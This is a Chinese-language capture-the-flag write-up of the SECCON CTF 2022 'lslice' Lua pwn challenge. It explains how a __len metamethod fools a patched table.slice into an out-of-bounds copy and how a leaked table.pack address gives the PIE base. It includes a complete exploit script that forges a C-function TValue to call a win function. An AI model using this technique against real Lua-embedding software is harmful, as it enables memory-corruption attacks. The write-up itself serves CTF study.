author: h1k0
lslice 是 SECCON CTF 2022 出的一道 Lua Pwn,比赛时一直没找到漏洞点,对 Lua 也完全不熟悉,因此该题不得不放弃。后续在 github 上看到了别人的 writeup 并复现了一下,发现题目其实并不难,只是需要用到 Lua 中的某些特殊方法。
题目的描述是这样的:
Pull Request: Add
slice
method for Lua table,Commit:cfbe378f906061ee56f91acfbdf569d0d3fb9556
也就是说,出题人基于 项目的某个提交,为 lua 中的 table 添加了 slice
方法。
拿到题目附件后,发现题目给了一个 patch 文件,编译好的目标 binary 以及一些其他部属相关的文件,使用以下命令:
1
2
3
|
git clone git@github.com:lua
/
lua.git
git checkout cfbe378f906061ee56f91acfbdf569d0d3fb9556
git
apply
..
/
patch.diff
|
对 patch.diff
进行简要分析,发现主要做了 3 处修改:
ltablib.c
中添加了 tslice
函数;win
函数;也就是说,该题的目标就是劫持控制流到 win
函数,那么 tslice
就是需要我们重点关注的函数。
出题人添加的 tslice
函数如下所示,简单来说,该函数获取目标 table 的长度 len
,以及 start
和 end
两个参数,之后对这些参数进行一些检查,并创建一个新的 table,最后将 start
和 end
之间的原始 table 数据拷贝到新创建的目标 table 处。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
static
int
tslice (lua_State
*
L) {
int
i, stackpos;
const TValue
*
src,
*
dst;
lua_Integer
len
, start, end, newlen;
/
*
Get table size
*
/
len
=
aux_getn(L,
1
, TAB_RW);
/
/
first argument
is
the length of table
luaL_argcheck(L,
len
< INT_MAX,
1
,
"array too big"
);
/
*
Get start
and
end position
*
/
start
=
luaL_checkinteger(L,
2
);
/
/
second argument
is
the start position
end
=
luaL_optinteger(L,
3
,
len
);
/
/
get third argument(
if
has)
is
the end position
if
(lua_isnoneornil(L,
3
))
end
=
len
+
1
;
else
end
=
luaL_checkinteger(L,
3
);
/
*
Check start
and
end position
*
/
if
(start <
=
0
) start
=
1
;
else
if
(start >
len
) start
=
len
;
if
(end <
=
0
) end
=
1
;
else
if
(end >
len
+
1
) end
=
len
+
1
;
luaL_argcheck(L, start <
=
end,
2
,
"invalid slice range"
);
newlen
=
end
-
start;
stackpos
=
lua_gettop(L)
+
1
;
/
*
Create a new array
*
/
lua_createtable(L, newlen,
0
);
if
(
len
>
0
&& newlen >
0
) {
src
=
&(L
-
>ci
-
>func
+
1
)
-
>val;
dst
=
&(L
-
>ci
-
>func
+
stackpos)
-
>val;
for
(i
=
end
-
1
; i >
=
start; i
-
-
) {
hvalue(dst)
-
>array[i
-
start]
=
hvalue(src)
-
>array[i
-
1
];
TValue
*
tv
=
&((Table
*
)src
-
>value_.p)
-
>array[i
-
1
];
printf(
"src: 0x%x 0x%x\n"
, tv
-
>value_, tv
-
>tt_);
}
}
return
1
;
}
|
经过多次检查,我们并没有在这个函数里找到可以被利用的点(所以当时放弃了qwq)。但后来看了别人的 wp 之后,发现该函数的漏洞点在于 api 使用,我们检查 aux_getn
这个函数:
1
|
#define aux_getn(L,n,w) (checktab(L, n, (w) | TAB_L), luaL_len(L, n))
|
这个函数最后会通过 luaL_len
来获取 table 的长度,但是通过 luaL_len 获取到的 table 长度,一定是正确的吗?
其实做题时候我们也想到过是不是 api 使用出现了问题,但是检查了其他 table 的函数,发现在 api 的使用上似乎没有太大的区别 hhh,所以我认为,这个漏洞的 root cause 是 slice 这个功能,在 lua 里不应该被这么简单的实现。
Lua 的原表是解决这道题目的关键,有关 Lua 原表是什么网上的资料太多,大家直接搜索即可,这里仅给出一个例子,如下所示:
1
2
3
4
5
6
|
x
=
{
1
,
2
,
3
,
4
,
5
}
print
(
#x)
metatable
=
{__len
=
function()
return
100
end}
setmetatable(x, metatable)
print
(
#x)
|
使用 lua 可执行文件运行该脚本,得到的结果如下所示:
1
2
3
|
❯ .
/
lua test.lua
5
100
|
这也就意味着,我们可以通过设置 Lua 中某个 table 的原表,来使得这个 table 的长度被 “修改” 为原表中 __len
函数返回的值。
经过实验,luaL_len
函数返回的 table 长度的确会被 table 的元表所影响,因此借助元表,我们就可以在 tslice
函数中控制 len
,绕过相关检查,从而控制 start
和 end
,达到 OOB 的效果,这样我们就可以将一些 table 之外的数据复制到新的 table 中。
在 Lua 中,如果我们执行 print(table.pack)
命令,就会打印出 table 中 tpack
函数的地址,我们可以借此获得 PIE 基址,进而获得 win
函数地址。
1
2
3
4
|
❯ .
/
lua
Lua
5.4
.
5
Copyright (C)
1994
-
2022
Lua.org, PUC
-
Rio
>
print
(table.pack)
function:
0x55ebbe5b3220
|
Lua 解释器在实现过程中有多个重要的基础数据结构(比如表示 Lua 虚拟机状态的 gloabl_State
和 lua_State
,以及在函数调用中扮演重要角色的 CallInfo
等结构)。这里对 lua_State
和函数调用进行简要介绍,lua_State
结构体中一些关键成员变量如下所示:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
struct lua_State {
CommonHeader;
/
/
为 Lua 中所有可回收的对象添加的头
lu_byte status;
lu_byte allowhook;
unsigned short nci;
/
*
number of items
in
'ci'
list
*
/
StkId top;
/
/
当前栈顶,会动态变化
global_State
*
l_G;
CallInfo
*
ci;
/
/
当前的 CallInfo 指针
StkId stack_last;
/
*
end of stack (last element
+
1
)
*
/
StkId stack;
/
*
stack base
*
/
UpVal
*
openupval;
/
*
list
of
open
upvalues
in
this stack
*
/
StkId tbclist;
/
*
list
of to
-
be
-
closed variables
*
/
GCObject
*
gclist;
/
/
...
};
|
有关 Lua 的结构体和函数调用的具体过程,大家可参考 ,此处暂不做迁移,仅仅做以下简要的总结:
lua_State → ci
指向当前函数的 CallInfo
lua_State → stack
和 lua_State → stack_last
划定了 lua 虚拟机栈的可用范围lua_State → top
指向当前栈顶lua_State → ci → func
指向当前函数在栈上的地址lua_State → ci → top
和 lua_State → ci → func
共同划定了当前函数可用的栈空间具体到本题中,在调用 tslice
函数时,lua 虚拟机的栈结构如下图所示,其中栈宽度为 0x10 字节(lua 虚拟机中的栈结构体)
在调用 lua_createtable
函数之后,lua 虚拟机将新创建的 table 放在栈上,如下图所示:
在 lua 中,Table
的声明如下,其中需要我们重点关注的是 array
成员。可以看到,array
是 TValue
类型的指针,保存着 Table 中的数据。
1
2
3
4
5
6
7
8
9
10
11
|
typedef struct Table {
CommonHeader;
lu_byte flags;
/
*
1
<<p means tagmethod(p)
is
not
present
*
/
lu_byte lsizenode;
/
*
log2 of size of
'node'
array
*
/
unsigned
int
alimit;
/
*
"limit"
of
'array'
array
*
/
TValue
*
array;
/
*
array part
*
/
Node
*
node;
Node
*
lastfree;
/
*
any
free position
is
before this position
*
/
struct Table
*
metatable;
GCObject
*
gclist;
} Table;
|
TValue
的声明如下,包含了成员 Value
和 tt_
,其中 Value
是一个 union,代表值本身,而 tt_
则代表该值的类型(lua 中值的类型具体分为了很多,可以在源码中自行分析)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
#define TValuefields Value value_; lu_byte tt_
typedef struct TValue {
TValuefields;
} TValue;
typedef union Value {
struct GCObject
*
gc;
/
*
collectable objects
*
/
void
*
p;
/
*
light userdata
*
/
lua_CFunction f;
/
*
light C functions
*
/
lua_Integer i;
/
*
integer numbers
*
/
lua_Number n;
/
*
float
numbers
*
/
/
*
not
used, but may avoid warnings
for
uninitialized value
*
/
lu_byte ub;
} Value;
|
len
,start
和 end
,从而将 src table 之后的某段数据复制到 dst table 中;TValue
可以被设置为 lua_CFunction
类型,对应的 _tt
为 0x16,如果我们拿到一个 TValue
结构体,使其 value
成员为 win
函数地址,_tt
成员为为 0x16,且该结构体是某个 table 的成员,那么我们就可以直接通过 table[index]()
的方法来调用该函数;TValue
结构体的字符串,将其保存在 table 中;TValue
作为值复制给 dst table,这就需要寻找伪造的 TValue
的地址(使用 gdb),这里将地址记录为 fake_addr
;table→array
中仅保存了字符串结构体,并不包含伪造的 TValue
数据。因此我们需要借助 gdb,计算出 fake_addr - table→array
的值,之后进行一些简单的处理计算出下标,便可利用 OOB,将伪造的 TValue 复制到 dst table 中;(看起来这里的代码高亮有点问题)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
-
-
collectgarbage(
"stop"
) 垃圾回收器对堆布局会产生影响
-
-
print
(table.pack) will
print
the function address of table.pack
print
(table.pack)
pack_address_hex
=
string.sub(tostring(table.pack),
13
)
print
(
'0x'
.. pack_address_hex)
pack_address
=
tonumber(pack_address_hex,
16
)
print
(pack_address)
-
-
print
(string.
format
(
'%x'
, pack_address))
-
-
from
ida, we can get that the offset of function
'tpack'
is
0x27220
binary_base
=
pack_address
-
0x0000000000027220
win_addr
=
binary_base
+
0x0000000000007a40
print
(
"Found win: "
.. string.
format
(
'0x%x'
, win_addr))
function int_to_array(v)
ret
=
{}
for
i
=
0
,
7
do
table.insert(ret, v &
0xff
)
-
-
get last one byte
v
=
v >>
8
end
return
ret
end
function to_little_endian(a)
local bytearr
=
{}
for
_, v
in
ipairs(a) do
local utf8_byte
=
v
table.insert(bytearr, string.char(utf8_byte))
end
return
table.concat(bytearr)
end
pld
=
int_to_array(win_addr)
pld
=
to_little_endian(pld)
-
-
将 win 函数的地址转换为小端序,类似 pwntools 中的 p64()
pld
=
pld ..
'\x16\x16\x16\x16\x16\x16\x16\x16'
-
-
lua, LuaC_function: _tt
/
0x16
pld
=
string.rep(pld,
100
)
-
-
伪造大量结构体,方便寻找
print
(string.
len
(pld))
-
-
make a table with fake metatable
x
=
{
"w"
,
"c"
, pld,
"y"
,
"x"
}
metatable
=
{}
function metatable.__len(a)
return
3000
end
setmetatable(x, metatable)
s
=
table.
slice
(x,
720
,
730
)
-
-
计算出的伪造 TValue 偏移
s[
1
]()
-
-
调用 win 函数
|
利用成功的截图如下所示:
更多【 lua pwn 初探 —— SECCONCTF 2022 lslice】相关视频教程:www.yxfzedu.com